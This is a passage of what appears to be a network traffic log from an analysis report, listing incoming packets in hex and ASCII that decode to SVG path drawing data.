2023-05-31 12:51:54 UTC	962	IN	Data Raw: 2c 32 2e 38 33 2c 33 2e 31 38 2c 33 2e 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 32 36 2e 38 36 2c 32 33 33 2e 38 61 32 2e 31 37 2c 32 2e 31 37 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 32 2c 33 2e 31 37 2c 33 2e 31 37 2c 30 2c 30 2c 31 2d 34 2e 32 32 2d 31 2e 31 39 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 34 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 32 22 2f 3e 3c Data Ascii: ,2.83,3.18,3.18,0,0,1-4.23-1.19,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><path class="cls-7" d="M326.86,233.8a2.17,2.17,0,0,1-1,2.82,3.17,3.17,0,0,1-4.22-1.19,3,3,0,0,1,.64-3.65,2.86,2.86,0,0,1,3.67,0,2.69,2.69,0,0,1,.2,3.62"/><
2023-05-31 12:51:54 UTC	978	IN	Data Raw: 31 38 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 32 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 35 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2c 30 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 36 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 33 36 34 2e 36 32 2c 32 39 34 61 32 2e 31 39 2c 32 2e 31 39 2c 30 2c 30 2c 31 2d 31 2c 32 2e 38 33 2c 33 2e 31 39 2c 33 2e 31 39 2c 30 2c 30 2c 31 2d 34 2e 32 33 2d 31 2e 31 39 2c 33 2e 30 36 2c 33 2e 30 36 2c 30 2c 30 2c 31 2c 2e 36 35 2d 33 2e 36 36 2c 32 2e 38 36 2c 32 2e 38 36 2c 30 2c 30 2c 31 2c 33 2e 36 37 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 32 2c 33 2e 36 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 Data Ascii: 18,0,0,1-4.23-1.2,3,3,0,0,1,.65-3.65,2.86,2.86,0,0,1,3.67,0,2.68,2.68,0,0,1,.19,3.62"/><path class="cls-7" d="M364.62,294a2.19,2.19,0,0,1-1,2.83,3.19,3.19,0,0,1-4.23-1.19,3.06,3.06,0,0,1,.65-3.66,2.86,2.86,0,0,1,3.67.05,2.68,2.68,0,0,1,.2,3.61"/><path cla
2023-05-31 12:51:54 UTC	994	IN	Data Raw: 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 32 39 30 2e 36 34 2c 32 30 32 2e 33 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 32 39 30 2e 33 37 2c 31 39 34 2e 32 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e Data Ascii: ass="cls-9" d="M290.64,202.37a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M290.37,194.29a2,2,0,0,1-.91,2.61,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.
2023-05-31 12:51:54 UTC	1010	IN	Data Raw: 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 32 34 2e 38 33 2c 32 34 31 2e 36 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 38 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 32 34 2e 35 36 2c 32 33 33 Data Ascii: 8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M324.83,241.65a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.88-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M324.56,233
2023-05-31 12:51:54 UTC	1026	IN	Data Raw: 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 35 39 2e 33 2c 32 38 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2e 30 35 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 35 39 2c 32 38 30 2e 39 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d Data Ascii: 38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M359.3,289a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.62,2.62,0,0,1,3.37.05,2.45,2.45,0,0,1,.18,3.32"/><path class="cls-9" d="M359,280.92a2,2,0,0,1-.91,2.61,2.93,2.93,0,0,1-
2023-05-31 12:51:54 UTC	1042	IN	Data Raw: 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 39 33 2e 34 39 2c 33 32 38 2e 32 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c Data Ascii: 1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M393.49,328.28a2,2,0,0,1-.9,2.6,2.92,2.92,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,
2023-05-31 12:51:54 UTC	1058	IN	Data Raw: 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 38 2c 33 37 35 2e 36 33 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 35 2c 32 2e 34 35 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 32 37 2e 36 39 2c 33 36 37 2e 35 36 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 Data Ascii: ><path class="cls-9" d="M428,375.63a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.19,3.32"/><path class="cls-9" d="M427.69,367.56a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.3
2023-05-31 12:51:54 UTC	1074	IN	Data Raw: 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 34 36 2e 32 39 2c 31 38 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d Data Ascii: 3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M446.29,189a2,2,0,0,1-.9,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d=
2023-05-31 12:51:54 UTC	1090	IN	Data Raw: 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 30 2e 34 39 2c 32 32 38 2e 32 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 Data Ascii: ,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.47,2.47,0,0,1,.19,3.33"/><path class="cls-9" d="M480.49,228.29a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.46,2.46,0,0,1
2023-05-31 12:51:54 UTC	1106	IN	Data Raw: 2d 39 22 20 64 3d 22 4d 35 31 35 2c 32 37 35 2e 36 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 34 2e 36 38 2c 32 36 37 2e 35 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c Data Ascii: -9" d="M515,275.65a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M514.68,267.57a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,
2023-05-31 12:51:54 UTC	1122	IN	Data Raw: 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2e 30 35 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 39 2e 31 35 2c 33 31 34 2e 39 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 38 2e 38 38 2c 33 30 36 2e Data Ascii: 0,0,1,.59-3.37,2.63,2.63,0,0,1,3.38.05,2.46,2.46,0,0,1,.18,3.32"/><path class="cls-9" d="M549.15,314.92a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.47,2.47,0,0,1,.18,3.33"/><path class="cls-9" d="M548.88,306.
2023-05-31 12:51:54 UTC	1138	IN	Data Raw: 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 33 2e 36 32 2c 33 36 32 2e 32 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 33 2e 33 34 2c 33 35 34 2e 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 31 2c 32 2e 39 31 2c 30 2c 30 2c 31 2d 33 2e 38 38 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 Data Ascii: ss="cls-9" d="M583.62,362.28a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M583.34,354.2a2,2,0,0,1-.91,2.6,2.91,2.91,0,0,1-3.88-1.09,2.81,2.81,0,0,1,.59-3.37,2.64
2023-05-31 12:51:54 UTC	1154	IN	Data Raw: 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 33 2c 32 34 2e 37 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 41 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 33 32 39 2e 31 2c 32 36 61 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 32 2e 37 33 2c 31 38 2e 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 Data Ascii: ,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M333,24.78a1.61,1.61,0,0,1-.73,2.09A2.34,2.34,0,0,1,329.1,26a2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M332.73,18.3a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0
2023-05-31 12:51:54 UTC	1170	IN	Data Raw: 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 30 2e 33 39 2c 35 36 2e 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 30 2e 31 37 2c 34 39 2e 38 32 61 31 2e 36 31 2c Data Ascii: .24,0,0,1,.47-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M360.39,56.3a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M360.17,49.82a1.61,
2023-05-31 12:51:54 UTC	1186	IN	Data Raw: 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 38 37 2e 38 33 2c 38 37 2e 38 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 41 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 33 38 34 2c 38 39 61 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 2f 3e 3c 70 61 74 Data Ascii: 3,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M387.83,87.82a1.61,1.61,0,0,1-.73,2.09A2.34,2.34,0,0,1,384,89a2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.68"/><pat
2023-05-31 12:51:54 UTC	1202	IN	Data Raw: 35 2e 38 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 41 32 2c 32 2c 30 2c 30 2c 31 2c 34 31 35 2c 31 32 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 31 35 2e 32 37 2c 31 31 39 2e 33 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 Data Ascii: 5.82a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0A2,2,0,0,1,415,127"/><path class="cls-9" d="M415.27,119.34a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.7,0,2,2
2023-05-31 12:51:54 UTC	1218	IN	Data Raw: 34 34 32 2e 39 33 2c 31 35 37 2e 33 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 34 32 2e 37 31 2c 31 35 30 2e 38 36 41 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2c 34 34 32 2c 31 35 33 61 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c Data Ascii: 442.93,157.34a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M442.71,150.86A1.61,1.61,0,0,1,442,153a2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.1,2.1,0,0,1,
2023-05-31 12:51:54 UTC	1234	IN	Data Raw: 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 30 2e 33 37 2c 31 38 38 2e 38 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 30 2e 31 35 2c 31 38 32 